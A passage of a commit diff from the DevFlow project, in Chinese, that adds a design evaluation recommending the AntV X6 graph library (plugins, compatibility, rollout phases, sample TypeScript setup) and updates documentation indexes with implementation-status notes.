| 能力 | 说明 | DevFlow 是否用得到 |
|
||||
|---|---|---|
|
||||
| **节点系统** | 内置矩形/圆形/椭圆/多边形,支持 HTML/React/Vue 自定义节点 | ✅ 工程节点用 Vue 自定义 |
|
||||
| **边系统** | 直线/折线/曲线/自定义路由,箭头/标签/路径动画 | ✅ 依赖边带类型标签(API调用/类库/MQ...) |
|
||||
| **交互** | 拖拽、缩放、框选、连线、对齐线、撤销/重做 | ✅ 用户可手动调整布局 |
|
||||
| **布局算法** | dagre(层次)/ force(力导向)/ grid / circular | ✅ dagre 天然适合依赖图 |
|
||||
| **插件生态** | 小地图、对齐线、框选、变换、键盘、历史、剪贴板、上下文菜单 | ✅ 小地图(大图概览)+ 历史(撤销) |
|
||||
| **数据格式** | JSON graph data,导入/导出 | ✅ 与后端 ModuleDependencyGraph 直接映射 |
|
||||
| **事件系统** | 完整节点/边/画布事件 | ✅ 点击节点跳转工程详情 |
|
||||
| **导出** | PNG / SVG / JPG | ⚠️ 锦上添花 |
|
||||
|
||||
---
|
||||
|
||||
## 五、技术特性
|
||||
|
||||
### 5.1 架构
|
||||
|
||||
- **框架无关**:核心纯 TypeScript,不绑定 React/Vue
|
||||
- **渲染引擎**:SVG(默认)/ Canvas(大图性能更优)
|
||||
- **插件化**:功能按需引入,tree-shaking 友好(v3 强化)
|
||||
|
||||
### 5.2 生态包(v3 延续插件化)
|
||||
|
||||
| 包 | 用途 | DevFlow 需要 |
|
||||
|---|---|---|
|
||||
| `@antv/x6` | 核心引擎 | ✅ 必装 |
|
||||
| `@antv/x6-plugin-selection` | 框选/点选 | ✅ |
|
||||
| `@antv/x6-plugin-snapline` | 对齐线 | ✅ |
|
||||
| `@antv/x6-plugin-history` | 撤销/重做 | ✅ |
|
||||
| `@antv/x6-plugin-minimap` | 小地图 | ✅ 大图必备 |
|
||||
| `@antv/x6-plugin-keyboard` | 键盘快捷键 | ⚠️ 可选 |
|
||||
| `@antv/x6-plugin-clipboard` | 剪贴板 | ⚠️ 可选 |
|
||||
| `@antv/x6-plugin-transform` | 缩放/旋转 | ⚠️ 可选 |
|
||||
| `@antv/x6-plugin-scroller` | 画布滚动 | ✅ 大图画布 |
|
||||
| `@antv/x6-plugin-export` | 图片导出 | ❌ 暂不需要 |
|
||||
| `@antv/x6-plugin-stencil` | 元素面板(拖入) | ⚠️ 可视化编辑器才需要 |
|
||||
| `@antv/x6-vue-shape` | Vue 自定义节点 | ✅ 工程节点用 Vue 组件 |
|
||||
|
||||
### 5.3 与 DevFlow 技术栈兼容性
|
||||
|
||||
| 维度 | DevFlow | X6 要求 | 兼容 |
|
||||
|---|---|---|---|
|
||||
| 前端框架 | Vue 3.5 | 框架无关 + vue-shape | ✅ |
|
||||
| UI 库 | Arco Design | 无冲突 | ✅ |
|
||||
| 构建 | Vite 6 | 支持 | ✅ |
|
||||
| TS | 5.6 | 原生 TS | ✅ |
|
||||
| 运行时 | Tauri WebView | 标准 DOM API | ✅ |
|
||||
| 包管理 | bun.lock / npm | 均支持 | ✅ |
|
||||
|
||||
**无兼容性阻塞。**
|
||||
|
||||
---
|
||||
|
||||
## 六、竞品对比
|
||||
|
||||
| 库 | 定位 | 编辑能力 | Vue 支持 | 布局算法 | 体积 | 适合 DevFlow |
|
||||
|---|---|---|---|---|---|---|
|
||||
| **AntV X6** | 图编辑引擎 | ⭐⭐⭐⭐⭐ 全栈 | 官方 vue-shape | 内置 dagre/force | 中 | ✅ **最佳** |
|
||||
| ReactFlow | React 图编辑 | ⭐⭐⭐⭐ | 需包装(非原生) | 需配 dagre | 中 | ❌ React 栈 |
|
||||
| vis-network | 图可视化 | ⭐⭐⭐ | 手动 | 内置 | 小 | ⚠️ 编辑弱 |
|
||||
| cytoscape.js | 图分析+可视化 | ⭐⭐⭐ | 手动 | 插件 | 中 | ⚠️ 偏分析 |
|
||||
| d3 | 通用可视化 | ⭐⭐ 手搓 | 手动 | 手搓 | 大 | ❌ 工作量大 |
|
||||
| G6 | 关系图谱分析 | ⭐⭐⭐⭐ | 手动 | 内置 | 中 | ⚠️ 偏分析非编辑 |
|
||||
|
||||
**结论**:DevFlow 需要「可编辑依赖图」,X6 在编辑能力 + Vue 原生支持 + 布局算法三方面综合最优。G6 是同门兄弟但偏「图谱分析」(大图布局/聚类),X6 偏「图编辑」(人机交互),DevFlow 场景是后者。
|
||||
|
||||
---
|
||||
|
||||
## 七、DevFlow 落地场景评估
|
||||
|
||||
### 7.1 主场景:多工程依赖关系图(P0,立即落地)
|
||||
|
||||
对应任务 `[子4]`。
|
||||
|
||||
```
|
||||
[DevFlow 工程] ──API调用──> [u-talk 工程]
|
||||
│
|
||||
├──类库引入──> [df-types crate]
|
||||
└──共享资源──> [MySQL]
|
||||
```
|
||||
|
||||
- 节点 = module(工程/crate),Vue 自定义节点展示名称/路径/技术栈
|
||||
- 边 = module_dependency,标签展示 dep_type(API调用/类库/MQ/共享资源/自定义)
|
||||
- 布局 = dagre 层次布局(天然适合依赖关系)
|
||||
- 交互 = 点击节点跳工程详情、拖拽调整、小地图导航
|
||||
- 数据源 = 后端 `get_dependency_graph` IPC 返回的图结构
|
||||
|
||||
### 7.2 次场景:工作流编辑器(P1,未来)
|
||||
|
||||
DevFlow 有工作流引擎(AiNode/HumanNode/executor),未来可做可视化工作流编辑器:
|
||||
- 拖拽节点(AI 节点 / 人工节点 / 判断节点)
|
||||
- 连线定义流转
|
||||
- 与后端 workflow 定义双向同步
|
||||
|
||||
X6 的 stencil 插件(元素拖入面板)正是为这类低代码编辑器设计。
|
||||
|
||||
### 7.3 次场景:任务依赖图(P2)
|
||||
|
||||
任务有 `depends_on / blocks / relates_to` 关联(create_task_link),可可视化展示任务拓扑。当前任务列表已有 `list_task_links` / `get_task_tree` 数据基础。
|
||||
|
||||
### 7.4 不适用场景
|
||||
|
||||
- ai-news(纯 HTML/JS,无图编辑需求)— 不引入
|
||||
- u-talk / u-desk — 暂无明确图编辑需求,不引入
|
||||
|
||||
---
|
||||
|
||||
## 八、风险与对策
|
||||
|
||||
| 风险 | 影响 | 对策 |
|
||||
|---|---|---|
|
||||
| v3 文档站是 SPA,离线难爬 | 学习曲线 | 在线阅读 + 官方 examples 仓库对照 |
|
||||
| v3 相比 v1 有 breaking changes | 迁移成本 | 全新引入,无历史包袱,直接学 v3 |
|
||||
| 插件多,初次配置繁琐 | 上手成本 | 本计划已列出必装子集(见 §九) |
|
||||
| 大图性能(>500 节点) | 渲染卡顿 | DevFlow 单项目工程数有限(<50),不触瓶颈;必要时切 Canvas 渲染 |
|
||||
| vue-shape 与 Arco 组件协同 | 样式冲突 | 节点用独立样式作用域,避免全局污染 |
|
||||
| 包体积增加 | 安装包变大 | X6 核心 + 必装插件 gzip 后约 200-300KB,Tauri 本地资源可接受 |
|
||||
|
||||
**无阻塞级风险。**
|
||||
|
||||
---
|
||||
|
||||
## 九、引入计划
|
||||
|
||||
### 9.1 决策点(待人工拍板)
|
||||
|
||||
| 项 | 推荐 | 备选 |
|
||||
|---|---|---|
|
||||
| 是否引入 X6 | ✅ **引入** | vis-network(编辑弱)/ 自研 SVG(成本高) |
|
||||
| 版本 | v3.1.7(latest) | — |
|
||||
| 落地优先级 | P0 依赖图 → P1 工作流编辑器 | — |
|
||||
| 引入范围 | 仅 DevFlow 前端 | — |
|
||||
|
||||
### 9.2 分阶段实施
|
||||
|
||||
#### Phase 0:依赖安装与验证(0.5 天)
|
||||
|
||||
```bash
|
||||
# 在 DevFlow 前端目录
|
||||
bun add @antv/x6 @antv/x6-plugin-selection @antv/x6-plugin-snapline \
|
||||
@antv/x6-plugin-history @antv/x6-plugin-minimap @antv/x6-plugin-scroller \
|
||||
@antv/x6-vue-shape
|
||||
```
|
||||
|
||||
交付物:
|
||||
- 依赖装入 `package.json`
|
||||
- 一个最小 demo 页面(3 节点 2 边,验证渲染 + 拖拽 + 缩放)
|
||||
- 验证 Tauri WebView 下无异常
|
||||
|
||||
#### Phase 1:依赖关系图组件(1.5 天,对接 `[子4]`)
|
||||
|
||||
前置:`[子2]` 后端 `get_dependency_graph` IPC 完成。
|
||||
|
||||
交付物:
|
||||
- 新建 `src/components/DependencyGraph.vue`
|
||||
- 封装 X6 Graph 实例(生命周期管理:mount 初始化、unmount 销毁)
|
||||
- 数据映射:`ModuleDependencyGraph` → X6 fromJSON
|
||||
- Vue 自定义节点组件 `ModuleNode.vue`(展示工程名/路径/技术栈图标)
|
||||
- 边标签展示 dep_type
|
||||
- dagre 自动布局
|
||||
- 小地图 + 框选 + 撤销重做
|
||||
- 事件:点击节点 → emit('select-module', id),父组件跳详情
|
||||
|
||||
#### Phase 2:集成到项目详情页(0.5 天,对接 `[子4]`)
|
||||
|
||||
交付物:
|
||||
- 项目详情页新增「依赖图」Tab
|
||||
- 与工程列表 Tab 并列,数据同源
|
||||
- 空状态处理(单工程无依赖时提示)
|
||||
|
||||
#### Phase 3(未来):工作流可视化编辑器
|
||||
|
||||
不在本次计划范围,待工作流引擎需求明确后再立项。
|
||||
|
||||
### 9.3 工程化约定
|
||||
|
||||
1. **X6 实例管理**:组件内 `onMounted` 创建,`onBeforeUnmount` 调 `graph.dispose()`,避免内存泄漏
|
||||
2. **类型契约**:后端 `ModuleDependencyGraph`(Rust serde)→ ts-rs 导出 → 前端 X6 fromJSON 格式转换函数集中放 `src/utils/graphMapper.ts`
|
||||
3. **样式隔离**:自定义节点用 `<style scoped>`,避免污染 Arco 主题
|
||||
4. **按需引入**:仅装 §5.2 列出的必装/可选插件,不装 export/stencil(暂不需要)
|
||||
|
||||
### 9.4 验收标准
|
||||
|
||||
- [ ] Phase 0:demo 页渲染正常,Tauri 下无报错
|
||||
- [ ] Phase 1:依赖图组件能渲染 ≥10 个工程节点 + 依赖边,dagre 布局自动排布
|
||||
- [ ] Phase 1:拖拽节点、框选、撤销重做、小地图均可用
|
||||
- [ ] Phase 1:点击节点能触发跳转工程详情
|
||||
- [ ] Phase 2:项目详情页「依赖图」Tab 可用,多工程项目展示正确
|
||||
- [ ] 单工程项目显示友好空状态
|
||||
|
||||
---
|
||||
|
||||
## 十、快速上手示例(Vue 3 + v3)
|
||||
|
||||
```typescript
|
||||
// src/utils/x6-setup.ts
|
||||
import { Graph } from '@antv/x6'
|
||||
import { Selection } from '@antv/x6-plugin-selection'
|
||||
import { Snapline } from '@antv/x6-plugin-snapline'
|
||||
import { History } from '@antv/x6-plugin-history'
|
||||
import { Minimap } from '@antv/x6-plugin-minimap'
|
||||
import { Scroller } from '@antv/x6-plugin-scroller'
|
||||
|
||||
export function createGraph(container: HTMLElement): Graph {
|
||||
const graph = new Graph({
|
||||
container,
|
||||
background: { color: '#F2F7FA' },
|
||||
grid: { visible: true, size: 10 },
|
||||
mousewheel: { enabled: true, modifiers: ['ctrl'], minScale: 0.5, maxScale: 2 },
|
||||
})
|
||||
graph.use(new Selection({ enabled: true, rubberband: true }))
|
||||
graph.use(new Snapline({ enabled: true }))
|
||||
graph.use(new History({ enabled: true }))
|
||||
graph.use(new Scroller({ enabled: true, pannable: true }))
|
||||
graph.use(new Minimap({ enabled: true, width: 200, height: 120 }))
|
||||
return graph
|
||||
}
|
||||
```
|
||||
|
||||
```typescript
|
||||
// 数据映射示例:后端图结构 → X6 fromJSON
|
||||
function toX6Data(graph: ModuleDependencyGraph) {
|
||||
return {
|
||||
nodes: graph.modules.map(m => ({
|
||||
id: m.id,
|
||||
shape: 'devflow-module', // 注册的 Vue 自定义节点
|
||||
x: 0, y: 0, // dagre 布局后重排
|
||||
data: { name: m.name, path: m.path, stack: m.stack },
|
||||
})),
|
||||
edges: graph.dependencies.map(d => ({
|
||||
source: d.from_module_id,
|
||||
target: d.to_module_id,
|
||||
labels: [{ text: d.dep_type }],
|
||||
})),
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 十一、结论与建议
|
||||
|
||||
1. **推荐引入** AntV X6 v3.1.7 作为 DevFlow 图可视化层,竞品中综合最优。
|
||||
2. **首选落地场景** 是 `[子4] 多工程依赖关系图`,与当前正在推进的多工程组织功能直接对接,ROI 最高。
|
||||
3. **无兼容性阻塞**,技术栈(Vue 3 + Vite 6 + Tauri WebView)完全适配。
|
||||
4. **建议批准 Phase 0**(0.5 天安装验证),验证通过后推进 Phase 1-2(2 天)。
|
||||
5. **暂不引入** u-talk / u-desk / ai-news,待有明确图编辑需求再评估。
|
||||
|
||||
---
|
||||
|
||||
## 相关链接
|
||||
|
||||
- 官网: https://x6.antv.antgroup.com/
|
||||
- GitHub: https://github.com/antvis/X6
|
||||
- v3 文档: https://x6.antv.antgroup.com/tutorial/about
|
||||
- Vue shape: https://x6.antv.antgroup.com/tutorial/advanced/react#vue(vue-shape 用法)
|
||||
- DevFlow 关联任务: `[子4] 前端:依赖关系图` / `[子2] df-project:依赖图构建`
|
||||
@@ -35,7 +35,7 @@ DevFlow 使用 SQLite (rusqlite) 作为本地存储引擎。df-storage 负责 SQ
|
||||
- ID 字段统一使用 `TEXT` (UUID v4)
|
||||
- 时间字段使用 `TEXT` (毫秒时间戳字符串,`now_millis_str()` 返回 String)
|
||||
- JSON 字段使用 `TEXT` 存储 JSON 字符串
|
||||
- 所有写操作统一返回 `df_core::error::Error` 错误类型:insert 返 `Result<String>`(id),update/delete 返 `Result<bool>`(是否影响行)
|
||||
- 所有写操作统一返回 `df_types::error::Error` 错误类型:insert 返 `Result<String>`(id),update/delete 返 `Result<bool>`(是否影响行)
|
||||
|
||||
## update_field 的强制时间戳约束
|
||||
|
||||
@@ -76,4 +76,4 @@ UPDATE ai_conversations SET archived = ?1 WHERE id = ?2
|
||||
|
||||
- `crates/df-storage/src/lib.rs` — 存储层入口
|
||||
- `crates/df-storage/src/migrations.rs` — Schema 定义与迁移
|
||||
- `crates/df-core/src/error.rs` — 统一错误类型
|
||||
- `crates/df-types/src/error.rs` — 统一错误类型
|
||||
|
||||
@@ -47,6 +47,8 @@
|
||||
| [F-09B-多会话并发设计-2026-06-16.md](./已编号方案/F-09B-多会话并发设计-2026-06-16.md) | F-260616-09 | 🗄 过时(被 F-09 取代) | 06-16 旧版,行号已过期。保留回溯,新设计看 F-09 |
|
||||
| [F-15-上下文管理增强设计-2026-06-16.md](./已编号方案/F-15-上下文管理增强设计-2026-06-16.md) | F-260616-15 | 📐 设计 | ContextManager 分段 / 压缩 / 裁剪 |
|
||||
| [F-260620-01-跨端AIChat-微信小程序-2026-06-20.md](./已编号方案/F-260620-01-跨端AIChat-微信小程序-2026-06-20.md) | F-260620-01 | 📐 草案(灵感 4495fbcd 待晋升) | 微信小程序 ↔ Rust 云后端(df-relay) ↔ DevFlow 桌面端(df-tunnel)实时同步,Rust 选型代码复用 |
|
||||
| [F-260622-01-跨端AIChat-Phase3联调设计-2026-06-22.md](./已编号方案/F-260622-01-跨端AIChat-Phase3联调设计-2026-06-22.md) | F-260622-01 | 📐 设计草案 | F-260620-01 Phase3 实施续篇:三层就绪后如何接线联调(协议统一+桥接方案) |
|
||||
| [消息级溯源P2-切读方案-2026-06-28.md](./已编号方案/消息级溯源P2-切读方案-2026-06-28.md) | F-260619-04-P2 | ✅ 已落地 | 消息级溯源 P2 一次性切读 + 脚本迁移历史数据 |
|
||||
| [B-03-人工审批响应机制-2026-06-14.md](./已编号方案/B-03-人工审批响应机制-2026-06-14.md) | B-260614-03 | ✅ 已落地(B-03a) | HumanNode execute subscribe/send/select 完整审批链 |
|
||||
| [B-260616-21排查方案-2026-06-16.md](./已编号方案/B-260616-21排查方案-2026-06-16.md) | B-260616-21 | 📐 排查方案 | 工具卡片重复渲染根因(audit 重复 emit Started) + 修复方案 |
|
||||
| [F-260622-01-跨端AIChat-Phase3联调设计-2026-06-22.md](./已编号方案/F-260622-01-跨端AIChat-Phase3联调设计-2026-06-22.md) | F-260622-01 | 📐 设计 | 微信小程序跨端联调:云隧道握手 / MCP 工具路由 / DF 事件同步 |
|
||||
@@ -61,28 +63,33 @@
|
||||
| 文档 | 状态 | 核心内容 |
|
||||
|---|---|---|
|
||||
| [Agent架构说明-2026-06-14.md](./专项设计/Agent架构说明-2026-06-14.md) | 📐 现状盘点 | Agent 引擎单链 ReAct 能力边界(查实的事实,非构想) |
|
||||
| [规格契约自检机制-2026-06-14.md](./专项设计/规格契约自检机制-2026-06-14.md) | 📐 设计待落地 | 活契约(锚点 + AI 自检 + 子代理)取代独立 spec |
|
||||
| [规格契约自检机制-2026-06-14.md](./专项设计/规格契约自检机制-2026-06-14.md) | 🗄 归档(被其他机制覆盖) | 活契约(锚点 + AI 自检 + 子代理)取代独立 spec。**核验(2026-06-28):0 行代码,其核心价值(规格与实现一致性检查)已被 L1 求助协议 + ai_self_review gate 覆盖,归档不实施** |
|
||||
| [AiNode自审实施方案-2026-06-16.md](./专项设计/AiNode自审实施方案-2026-06-16.md) | ✅ ②-⑤已落地 | AiNode 自审闸门 + verdict DAG 阻断 |
|
||||
| [secret下沉与provider注入方案-2026-06-16.md](./专项设计/secret下沉与provider注入方案-2026-06-16.md) | ✅ 方案 B 全量落地 | secret 纯密钥下沉 df-storage |
|
||||
| [patch_file工具设计-2026-06-15.md](./专项设计/patch_file工具设计-2026-06-15.md) | 📐 设计待实施(P0) | AI 局部编辑工具:old_text 精确匹配 + 三层防御 |
|
||||
| [patch_file工具设计-2026-06-15.md](./专项设计/patch_file工具设计-2026-06-15.md) | ✅ 已落地(2026-06-28 核验) | AI 局部编辑工具:old_text 精确匹配 + 三层防御 + 三模式(old_text/replace_lines/anchor)。**仅文本(不支持二进制 encoding,合理设计)** |
|
||||
| [generating状态机加固-2026-06-15.md](./专项设计/generating状态机加固-2026-06-15.md) | 📐 设计 | generating 生命周期状态机(guard 收敛) |
|
||||
| [密钥迁移健壮性-2026-06-15.md](./专项设计/密钥迁移健壮性-2026-06-15.md) | 📐 设计未实施 | 空 api_key 不覆盖未迁移态明文密钥 |
|
||||
| [条件表达式引擎-2026-06-15.md](./专项设计/条件表达式引擎-2026-06-15.md) | 📐 设计(R-PD-3) | ConditionEngine 接线 + 条件边求值 |
|
||||
| [工作流脚本执行边界-2026-06-15.md](./专项设计/工作流脚本执行边界-2026-06-15.md) | 📐 设计(R-PD-2) | ScriptNode 任意 shell 执行安全边界 |
|
||||
| [查询效率优化方案-2026-06-19.md](./专项设计/查询效率优化方案-2026-06-19.md) | 📐 待评审(PERF-260619-01) | SQL 下推 / 精确拉取 / 缓存 / 字段投影 |
|
||||
| [密钥迁移健壮性-2026-06-15.md](./专项设计/密钥迁移健壮性-2026-06-15.md) | ✅ 已落地(2026-06-28 核验) | 空 api_key 不覆盖未迁移态明文密钥(provider.rs:104-136 即时迁移补密钥 + 阻断保存) |
|
||||
| [条件表达式引擎-2026-06-15.md](./专项设计/条件表达式引擎-2026-06-15.md) | ✅ 已落地(2026-06-28 核验) | ConditionEngine 手写求值器 + JSON Path/嵌套/数组索引/数值比较 + executor 集成 + 前端边条件编辑入口 |
|
||||
| [工作流脚本执行边界-2026-06-15.md](./专项设计/工作流脚本执行边界-2026-06-15.md) | ✅ 已落地(2026-06-28 核验) | ScriptNode 命令执行安全边界:白名单/黑名单(env 配置)+ 危险关键词告警 |
|
||||
| [查询效率优化方案-2026-06-19.md](./专项设计/查询效率优化方案-2026-06-19.md) | 📐 待评审(PERF-260619-01) | SQL 下推 / 精确拉取 / 缓存 / 字段投影。**核验:查询能力补全已落地(task/project/idea 均 keyword/order_by/limit/offset),性能优化待评审** |
|
||||
| [任务推进链实施路径-2026-06-16.md](./专项设计/任务推进链实施路径-2026-06-16.md) | 📐 规划定稿(D-01~04已决) | advance_task 走 df-nodes Node trait,4 阶段路径 |
|
||||
| [推进链阶段2实施路径-2026-06-16.md](./专项设计/推进链阶段2实施路径-2026-06-16.md) | 📐 设计(F-260616-06) | 工作流联动任务推进:task_id + 完成回调 + DAG 模板 |
|
||||
| [消息拆分存储设计-2026-06-19.md](./专项设计/消息拆分存储设计-2026-06-19.md) | 📐 设计待实施(F-260619-03) | ai_messages 表 + V21 全量迁移 + 三阶段渐进切换(脏标记→双写→切读) |
|
||||
| [消息级溯源设计-2026-06-19.md](./专项设计/消息级溯源设计-2026-06-19.md) | 📐 设计待实施(F-260619-04) | ChatMessage.id + source_ref/audit/idea 四场景从对话级升级消息级 |
|
||||
| [全局事件数据总线-2026-06-21.md](./专项设计/全局事件数据总线-2026-06-21.md) | 📐 构想定稿待评审 | pub-sub + request-reply + 流式 reply 统一总线:跨模块解耦 / 响应式根治死等 / 跨端透传 |
|
||||
| [消息拆分存储设计-2026-06-19.md](./专项设计/消息拆分存储设计-2026-06-19.md) | ✅ 已落地(2026-06-28 核验) | ai_messages 表 + V21 全量迁移 + 读写全部切到消息表(旧 JSON 列仅作老库兼容回退) |
|
||||
| [消息级溯源设计-2026-06-19.md](./专项设计/消息级溯源设计-2026-06-19.md) | ✅ 已落地(2026-06-28 核验) | ChatMessage.id + source_ref/audit/idea 四场景从对话级升级消息级 + P2 切读全部完成 |
|
||||
| [全局事件数据总线-2026-06-21.md](./专项设计/全局事件数据总线-2026-06-21.md) | 🟡 部分落地(基建就位,消费者未接) | pub-sub + request-reply + 流式 reply 统一总线。**核验(2026-06-28):基建(AI/工作流两路总线)+ 20+ emit 点双写就位,但真实订阅方/前端镜像/tunnel 透传均未接入(空转)。阶段 2-6 待真实痛点驱动** |
|
||||
| [三层模型-流程模板与人设体系-2026-06-28.md](./专项设计/三层模型-流程模板与人设体系-2026-06-28.md) | 📐 设计 | 模板→工作流→人设三层架构:流程模板YAML定义、人设AgentPersona数据结构、三层实例化流程 |
|
||||
| [aichat体验与agent能力系统化重构-2026-06-21.md](./专项设计/aichat体验与agent能力系统化重构-2026-06-21.md) | 📐 设计 | AI Chat 体验 + Agent 能力统一重构:消息模型 / 上下文管理 / 工具路由 |
|
||||
| [查询能力补全方案-2026-06-21.md](./专项设计/查询能力补全方案-2026-06-21.md) | 📐 设计 | 查询接口能力补全:多维度筛选 / 聚合 / 跨表关联 |
|
||||
| [AST符号解析-设计-2026-06-24.md](./专项设计/AST符号解析-设计-2026-06-24.md) | 📐 设计 | AST 符号解析:代码结构提取 / 符号索引 / 跳转支持 |
|
||||
| [查询能力补全方案-2026-06-21.md](./专项设计/查询能力补全方案-2026-06-21.md) | ✅ 已落地(2026-06-28 核验) | 查询接口能力补全:task/project/idea 均 keyword/order_by/limit/offset 多维动态 WHERE |
|
||||
| [AST符号解析-设计-2026-06-24.md](./专项设计/AST符号解析-设计-2026-06-24.md) | ✅ Phase1 已落地(2026-06-28 核验) | AST 符号解析:read_symbol 工具已注册(tool_registry.rs:1506-1547)+ 基线测试守护 |
|
||||
| [插件机制-设计-2026-06-24.md](./专项设计/插件机制-设计-2026-06-24.md) | 📐 设计 | 插件系统:动态加载 / 生命周期 / 权限沙箱 |
|
||||
| [AI对话目标丢失诊断-2026-06-26.md](./专项设计/AI对话目标丢失诊断-2026-06-26.md) | 📐 诊断 | AI 对话目标丢失根因分析:上下文漂移 / 意图衰减 |
|
||||
| [AI原生上下文地图与去AI化进化系统-2026-06-26.md](./专项设计/AI原生上下文地图与去AI化进化系统-2026-06-26.md) | 📐 设计 | AI 原生上下文地图:语义索引 / 去 AI 化渐进演进路径 |
|
||||
| [项目知识图谱与任务队列系统-2026-06-26.md](./专项设计/项目知识图谱与任务队列系统-2026-06-26.md) | 📐 设计 | 项目级知识图谱 + 任务队列:依赖解析 / 优先级调度 |
|
||||
| [工程系统设计-2026-06-29.md](./专项设计/工程系统设计-2026-06-29.md) | ✅ 已落地 | 项目多工程(Module) + Git 状态查询 + 文件浏览器 + Git AI 工具(只读3+写3) |
|
||||
| [架构债迁移设计-2026-06-29.md](./专项设计/架构债迁移设计-2026-06-29.md) | 📐 设计草案 | #8/#15/#18/#19 架构债迁移路径(AI状态机抽离/IPC错误结构化/配置统一/连接池) |
|
||||
| [多Agent并行执行与仲裁合并设计-2026-07-01.md](./专项设计/多Agent并行执行与仲裁合并设计-2026-07-01.md) | 📐 设计 | 混合数据模型(messages加FK列+Plan/SubTask/Conflict独立表)、Git worktree隔离、JoinSet层内并行、四层冲突防线、Reviewer仲裁、事件协议、UI交互 |
|
||||
| [后续批次测试用例设计-2026-07-01.md](./专项设计/后续批次测试用例设计-2026-07-01.md) | 📐 测试 | 多Agent并行/worktree隔离/仲裁合并/模板系统/Git-CI/审批政策 的单元+集成+端到端测试用例 |
|
||||
| [测试落地实施方案-2026-07-01.md](./专项设计/测试落地实施方案-2026-07-01.md) | 📐 测试 | 各测试用例的落地方式(Rust 单元/集成/vitest/E2E 手动)、文件位置、Mock 策略、CI 自动化路径 |
|
||||
|
||||
---
|
||||
|
||||
@@ -107,7 +114,15 @@
|
||||
| [意图识别层论证-2026-06-19.md](./构想审查/意图识别层论证-2026-06-19.md) | 📐 论证(供决策) | 通用前置意图识别层 8 维度论证 + 触发时机 |
|
||||
| [多主题上下文管理愿景-2026-06-19.md](./构想审查/多主题上下文管理愿景-2026-06-19.md) | 💡 远期愿景 | 无感多主题对话:主题检测前置 + 多主题多摘要(关联 F-15 / 意图识别) |
|
||||
| [多主题并存补充论证-多轮模式-2026-06-19.md](./构想审查/多主题并存补充论证-多轮模式-2026-06-19.md) | 📐 论证(供决策) | agentic 多轮模式可突破天花板,但近期结论不变 |
|
||||
| [跑题改进试验记录-2026-06-20.md](./构想审查/跑题改进试验记录-2026-06-20.md) | 📋 试验 | AI 跑题改进试验:系统 prompt 加固 / 上下文钳制 / 行为约束 |
|
||||
| [跑题改进试验记录-2026-06-20.md](./构想审查/跑题改进试验记录-2026-06-20.md) | 📋 试验记录 | AI Chat 长对话跑题根因治:测试计划+迭代过程+改进前基线+遗留 |
|
||||
| [AI-Native方向与路线图-2026-06-29.md](./构想审查/AI-Native方向与路线图-2026-06-29.md) | 📐 方向 | AI Native 优先级矩阵:P0人设+多Agent→P1模板+Git/CI→P2审批政策+算法验证 |
|
||||
|
||||
### 根目录文档(不在子目录)
|
||||
|
||||
| 文档 | 状态 | 核心内容 |
|
||||
|---|---|---|
|
||||
| [单对话并行多轮-设计-2026-06-20.md](./单对话并行多轮-设计-2026-06-20.md) | 📐 设计 | aichat B 路线:单对话内 AI 拆子流并行跑,加速多文件/多方案/多模块对比 |
|
||||
| [单对话并行多轮-Phase0落地路线图-2026-06-20.md](./单对话并行多轮-Phase0落地路线图-2026-06-20.md) | 📐 路线图 | 承接设计 Phase 1/2/3 实施前必须补齐的机制(Phase 0 = 物理可行性地基) |
|
||||
|
||||
---
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# AST 符号解析 — Code Intelligence 设计
|
||||
|
||||
> 日期:2026-06-24 | 状态:设计深化(2026-06-24:信息密度三态 + 主题压缩),Phase1 待实施
|
||||
> 日期:2026-06-24 | 状态:✅ Phase1 已落地(2026-06-28 核验:read_symbol 工具已注册 tool_registry.rs:1506-1547 + 基线测试守护)
|
||||
> 关联:memory [[devflow-info-density-concept]] / [[devflow-aichat-session-analysis-2026-06-22]] / plan gentle-gliding-book
|
||||
|
||||
## Context(为什么)
|
||||
|
||||
@@ -1,8 +1,9 @@
|
||||
# Agent 架构与能力边界(系统现状记录) — 2026-06-14
|
||||
|
||||
> 性质: 系统现状盘点 / 能力边界(查实的事实,非构想)
|
||||
> 关联: [任务推进设计](任务推进构想-2026-06-14.md)(AI 执行层依据本文档能力边界)
|
||||
> 关联: [任务推进设计](../构想审查/任务推进构想-2026-06-14.md)(AI 执行层依据本文档能力边界)
|
||||
> 关联: [三层模型-流程模板与人设体系](../专项设计/三层模型-流程模板与人设体系-2026-06-28.md)(人设层是本架构的下一阶段演进方向)
|
||||
> 关联: [AI-Native方向与路线图](../构想审查/AI-Native方向与路线图-2026-06-29.md)(AI Native 优先级矩阵与推进路线图)
|
||||
> 用途: 作为「AI 执行层」「AI 自审」等设计的真实能力依据,避免在超出系统现状的能力上做设计
|
||||
|
||||
---
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# Patch File 工具设计
|
||||
|
||||
> 创建: 2026-06-15 | 状态: 设计定稿待实施 | 优先级: P0
|
||||
> 创建: 2026-06-15 | 状态: ✅ 已落地(2026-06-28 核验) | 优先级: P0
|
||||
> 关联 todo: F-260615-06 [P0]
|
||||
|
||||
---
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# 全局事件数据总线设计
|
||||
|
||||
> 2026-06-21 · 专项设计 · 状态:构想定稿待评审
|
||||
> 2026-06-21 · 专项设计 · 状态:🟡 部分落地(2026-06-28 核验:基建(AI/工作流两路总线)+ 20+ emit 点双写就位,但真实订阅方/前端镜像/tunnel 透传均未接入空转。阶段 2-6 待真实痛点驱动)
|
||||
> 关联:[[cross-end-rust-backend]] 三层跨端 / [[devflow-product-positioning]] ai-working 可扩展 / F-260620-01 跨端小程序
|
||||
|
||||
## 背景与动机
|
||||
|
||||
252
docs/02-架构设计/专项设计/后续批次测试用例设计-2026-07-01.md
Normal file
252
docs/02-架构设计/专项设计/后续批次测试用例设计-2026-07-01.md
Normal file
@@ -0,0 +1,252 @@
|
||||
# 后续批次测试用例设计 — 2026-07-01
|
||||
|
||||
> 覆盖:多Agent并行执行 / Git worktree 隔离 / 仲裁合并 / 模板系统 / Git-CI / 审批政策
|
||||
> 关联:[多Agent并行执行与仲裁合并设计-2026-07-01.md](02-架构设计/专项设计/多Agent并行执行与仲裁合并设计-2026-07-01.md)
|
||||
|
||||
---
|
||||
|
||||
## 一、测试分层
|
||||
|
||||
| 层级 | 范围 | 工具 |
|
||||
|------|------|------|
|
||||
| **单元测试** | 纯函数/数据结构/repo CRUD | `#[test]` Rust / vitest TS |
|
||||
